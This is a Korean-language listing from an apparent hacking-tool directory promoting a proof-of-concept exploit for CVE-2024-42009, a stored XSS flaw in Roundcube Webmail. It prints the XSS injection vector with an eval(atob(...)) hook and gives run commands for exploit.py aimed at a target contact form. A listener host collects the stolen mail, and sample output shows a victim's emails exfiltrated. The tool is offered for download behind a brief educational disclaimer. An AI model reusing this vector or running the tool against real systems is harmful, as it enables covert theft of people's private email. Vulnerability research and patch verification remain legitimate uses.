Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-42009-PoC — CVE-2024-42009 개념 증명 | Kitploit
도구/GitHubGitHub/danithehack3r/cve-2024-42009-poc
Phishing ToolsExploitationWeb Application ExploitationData ExfiltrationLearning & EducationEmail Security
GitHubdanithehack3r/cve-2024-42009-poc

CVE-2024-42009-PoC

CVE-2024-42009 개념 증명

저장소 보기
711년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-42009 PoC: Roundcube Webmail의 이메일 캡처 리스너 및 XSS 익스플로잇

개요

이 저장소에는 Roundcube Webmail 1.6.7 및 기타 여러 버전에서 발생하는 저장형 XSS(교차 사이트 스크립팅) 취약점인 CVE-2024-42009에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 공격자가 메시지에 악성 JavaScript를 주입하고, 메시지 내부의 HTML을 구문 분석할 때 발생하는 비살균(desanitization) 문제를 악용할 수 있는 방법을 보여줍니다. 이 예제에서는 피해자의 받은 편지함에서 이메일 콘텐츠를 유출하거나 피해자의 브라우저를 장악하는 데 사용될 수 있습니다.

취약점 세부 정보

CVE 설명

Roundcube 1.5.7 및 1.6.x~1.6.7 버전의 교차 사이트 스크립팅(XSS) 취약점으로, 원격 공격자는 program/actions/mail/show.php의 message_body()에 있는 Desanitization 문제를 악용하는 악의적으로 조작된 이메일 메시지를 통해 피해자의 이메일을 탈취하고 전송할 수 있습니다.

XSS 페이로드 설명 (이 예제 기준)

이 익스플로잇은 XSS 실행을 위해 CSS 애니메이션 트리거를 사용합니다.

root@kitploit:~
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>

body는 div로 파싱되므로 그에 맞게 조정해야 합니다. 따라서 onanimationstart 속성을 사용하여 eval 함수를 호출하고 이를 통해 복잡한 JavaScript 호출을 실행합니다. 익스플로잇이 어떻게 작동하는지, 그리고 Roundcube의 취약점이 어디에 있는지 자세히 알아보려면 이 문서를 읽어보세요.

범위

  • 이 익스플로잇은 Roundcube Webmail 1.6.7 버전에서만 테스트되었습니다.
  • 피해자가 해당 메시지를 열어 내용을 확인해야 합니다.
  • CSP(Content Security Policy)가 올바르게 구성된 경우 실패할 수 있습니다.

사용 방법

종속성

필요한 Python 패키지를 설치합니다:

root@kitploit:~
python3 -m venv venv
python3 -m pip install -r requirements

명령줄 인수

root@kitploit:~
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
  • 대상 URL: 이 경우에는 메시지를 처리한 다음 전달하는 연락처 양식 엔드포인트를 사용합니다 (예: http://email.company.local/contact)
  • 수신자 이메일: 악성 메시지를 수신할 유효한 이메일 주소
  • 리스너 호스트: 대상에서 접근할 수 있는 사용자 시스템의 IP 주소
  • 리스너 포트: HTTP 서버에 사용 가능한 포트 (예: 4444)

사용 예시

root@kitploit:~
python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444

예상 출력

root@kitploit:~
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]  
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!

------------------------------------------------------------
📧 EMAIL UID: 1  
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------

[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!

참고 자료

취약점 연구

  • SonarSource 블로그: 정부 이메일 위험 - Roundcube Webmail의 심각한 교차 사이트 스크립팅 취약점
  • SonarSource 데모 비디오

법적 고지

⚠️ 중요: 이 개념 증명은 교육 및 승인된 테스트 목적으로만 제공됩니다. 책임감 있게 사용하시기 바라며, 이 계정은 다른 사람이 초래한 어떠한 손해에 대해서도 책임지지 않습니다.

도구 다운로드